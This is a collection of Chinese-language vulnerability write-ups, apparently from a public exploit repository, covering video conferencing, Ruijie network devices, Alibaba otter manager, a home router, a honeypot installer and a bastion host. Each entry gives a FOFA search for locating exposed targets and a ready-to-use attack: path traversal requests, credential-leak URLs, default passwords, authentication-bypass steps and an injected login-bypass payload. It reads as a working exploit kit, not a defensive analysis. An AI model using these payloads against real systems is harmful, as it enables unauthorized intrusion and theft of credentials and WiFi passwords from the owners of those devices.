| https://forum.butian.net/share/76 -------------------------------------------------------------------------------- /银澎云计算 好视通视频会议系统 任意文件下载.md: -------------------------------------------------------------------------------- 1 | # 银澎云计算 好视通视频会议系统 任意文件下载 2 | 3 | 银澎云计算 好视通视频会议系统 存在任意文件下载，攻击者可以通过漏洞获取敏感信息。 4 | 5 | fofa： 6 | 7 | ``` 8 | app="Hanming-Video-Conferencing" 9 | ``` 10 | 11 | poc： 12 | 13 | ```bash 14 | GET /register/toDownload.do?fileName=../../../../../../../../../../../../../../windows/win.ini HTTP/1.1 15 | Host: 16 | ``` 17 | 18 | ref： 19 | 20 | https://mp.weixin.qq.com/s/F-M21PT0xn9QOuwoC8llKA -------------------------------------------------------------------------------- /锐捷 EG 易网关RCE 0day.md: -------------------------------------------------------------------------------- 1 | # 锐捷 EG 易网关RCE 0day 2 | 3 | 后台的rce，不过可以获取账户密码，然后登录后进行rce。 4 | 5 | FOFA: 6 | 7 | ``` 8 | app="Ruijie-EG易网关" 9 | ``` 10 | 11 | PoC：xxx 12 | 13 | ref: 14 | 15 | https://forum.ywhack.com/thread-115511-1-4.html -------------------------------------------------------------------------------- /锐捷RG-UAC 账户硬编码漏洞.md: -------------------------------------------------------------------------------- 1 | # 锐捷RG-UAC 账户硬编码漏洞 2 | 3 | fofa： 4 | 5 | title="RG-UAC登录页面" 6 | 7 | **PoC1：** 8 | 9 | 登录页面直接查看源代码，搜索：password 10 | 11 | **PoC2:** 12 | 13 | ``` 14 | https://127.0.0.1/get_dkey.php?user=admin 15 | ``` 16 | 17 | ref： 18 | https://forum.ywhack.com/thread-114977-1-2.html -------------------------------------------------------------------------------- /锐捷SSL VPN 越权访问漏洞.md: -------------------------------------------------------------------------------- 1 | # 锐捷SSL VPN 越权访问漏洞 2 | 3 | Ruijie SSL VPN 存在越权访问漏洞，攻击者在已知用户名的情况下，可以对账号进行修改密码和绑定手机的操作。并在未授权的情况下查看服务器资源 4 | 5 | FOFA: 6 | 7 | ``` 8 | icon_hash="884334722" || title="Ruijie SSL VPN" 9 | ``` 10 | 11 | 构造URL： 12 | 13 | 14 | ``` 15 | https://1.1.1.1/cgi-bin/main.cgi?oper=showsvr&encode=GBK&username=USERNAME&sid=1614345312&oper=showres 16 | USERNAME为已存在的用户名，访问后即可进入到主页，在个人设置可以直接给这个用户绑定SSO账号及手机号。 17 | ``` 18 | 19 | PoC: 20 | 21 | 22 | ``` 23 | GET /cgi-bin/main.cgi?oper=getrsc HTTP/1.1 24 | Host: xxx.xxx.xxx.xxx 25 | Connection: close 26 | Pragma: no-cache 27 | Cache-Control: no-cache 28 | Upgrade-Insecure-Requests: 1 29 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36 30 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 31 | Sec-Fetch-Site: none 32 | Sec-Fetch-Mode: navigate 33 | Sec-Fetch-User: ?1 34 | Sec-Fetch-Dest: document 35 | Accept-Encoding: gzip, deflate 36 | Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6 37 | Cookie: UserName=xm; SessionId=1; FirstVist=1; Skin=1; tunnel=1 38 | ``` 39 | 40 | 信息泄漏： 41 | 42 | 构造URL： 43 | 44 | 45 | ``` 46 | https://1.1.1.1/cgi-bin/main.cgi?oper=getrsc 47 | 48 | 注：需要先使用第一步的方式构造URL进入到设置页面，否则没有Cookie，会提示“错误：当前用户不在线,请重新登录”，当然你也可以手动构造Cookie 49 | 50 | Cookie: UserName=USERNAME; SessionId=1614345312; FirstVist=1; Skin=1; tunnel=1 51 | ``` 52 | 53 | ref: 54 | 55 | * https://mp.weixin.qq.com/s/iRmDQJH23FJ6mL_GzXeL6g 56 | * https://mp.weixin.qq.com/s/WElrjPnCNNA79COFtPX0vQ -------------------------------------------------------------------------------- /锐捷Smartweb管理系统 密码信息泄露 CNVD-2021-17369.md: -------------------------------------------------------------------------------- 1 | # 锐捷Smartweb管理系统 密码信息泄露 CNVD-2021-17369 2 | 3 | 锐捷网络股份有限公司无线smartweb管理系统存在逻辑缺陷漏洞，攻击者可从漏洞获取到管理员账号密码，从而以管理员权限登录。 4 | 5 | FOFA: 6 | 7 | `title="无线smartWeb--登录页面"` 8 | 9 | 默认guest账户密码：guest/guest 10 | 11 | 12 | 登录后访问：`http://target/web/xml/webuser-auth.xml` 13 | 14 | 获取所有用户账号密码，base64解码即可。 15 | 16 | ref： 17 | 18 | * https://mp.weixin.qq.com/s/EICYTqRWDRB8OfXKHxCBfQ 19 | * https://www.cnvd.org.cn/flaw/show/CNVD-2021-17369 -------------------------------------------------------------------------------- /阿里巴巴otter manager分布式数据库同步系统信息泄漏-默认口令（CNVD-2021-16592）.md: -------------------------------------------------------------------------------- 1 | # 阿里巴巴otter manager分布式数据库同步系统信息泄漏/默认口令（CNVD-2021-16592） 2 | 3 | 阿里巴巴otter manager分布式数据库同步系统是基于数据库增量日志解析，准实时同步到本机房或异地机房的mysql/oracle数据库，一个分布式数据库同步系统。阿里巴巴otter manager分布式数据库同步系统存在信息泄露漏洞，攻击者可利用漏洞获取zookper信息。 4 | 5 | FOFA： 6 | 7 | ``` 8 | title="Otter Manager" 9 | ``` 10 | 11 | 默认口令：admin/admin 12 | 13 | 进入后直接f12查看元素，修改password为text即可查看数据库等敏感信息密码。 14 | 15 | ref： 16 | 17 | * https://www.cnvd.org.cn/flaw/show/CNVD-2021-16592 18 | * https://forum.ywhack.com/thread-115309-1-8.html -------------------------------------------------------------------------------- /飞鱼星 家用智能路由 cookie.cgi 权限绕过.md: -------------------------------------------------------------------------------- 1 | # 飞鱼星 家用智能路由 cookie.cgi 权限绕过 2 | 3 | 飞鱼星家用智能路由存在权限绕过，通过Drop特定的请求包访问未授权的管理员页面。 4 | 5 | fofa:title="飞鱼星家用智能路由" 6 | 7 | 8 | ``` 9 | http://xxx.xxx.xxx.xxx/index.html 10 | 访问 index.html 时会请求 cookie.cgi 11 | 页面抓包 Drop掉 cookie.cgi 12 | ``` 13 | 14 | 15 | ``` 16 | /request_para.cgi?parameter=wifi_info #获取ALL WIFI账号密码 17 | /request_para.cgi?parameter=wifi_get_5g_host #获取5GWIFI账号密码 18 | /request_para.cgi?parameter=wifi_get_2g_host #获取2GWIFI账号密码 19 | ``` 20 | 21 | ref: 22 | 23 | * https://mp.weixin.qq.com/s/ARCZIR2C40KSu8SjLMYHSw 24 | * https://forum.ywhack.com/thread-115486-1-5.html -------------------------------------------------------------------------------- /默安幻阵蜜罐安装平台未授权访问.md: -------------------------------------------------------------------------------- 1 | # 默安幻阵蜜罐安装平台未授权访问 2 | 3 | 4 | fofa：`body="幻阵安装系统"` 5 | 6 | PoC: 7 | 8 | 1、进入幻阵安装系统,刷新并抓包 9 | 10 | 2、 11 | 12 | * drop掉 /huanzhen/have_installed 13 | * drop掉 /huanzhen/mode?timestamp 14 | * drop掉 /huanzhen/version_info 15 | 16 | 3、进入页面，点击调试工具并放包 17 | 18 | 4、可执行ping命令 19 | 20 | -------------------------------------------------------------------------------- /齐治堡垒机任意用户登陆.md: -------------------------------------------------------------------------------- 1 | # 齐治堡垒机任意用户登陆 2 | 3 | 齐治堡垒机存在任意用户登录漏洞，通过构造URL可绕过访问控制获取目标管理员权限。 4 | 5 | 6 | 情报可以见：https://forum.ywhack.com/thread-115423-1-1.html 7 | 8 | **PoC：** 9 | 10 | ``` 11 | http://xxx.xxx.xxx.xxx/audit/gui_detail_view.php?token=1&id=%5C&uid=%2Cchr(97))%20or%201:%20print%20chr(121)%2bchr(101)%2bchr(115)%0d%0a%23&login=shterm 12 | ``` 13 | 14 | 状态码返回200，存在漏洞；“错误ID”提示，不存在漏洞。 --------------------------------------------------------------------------------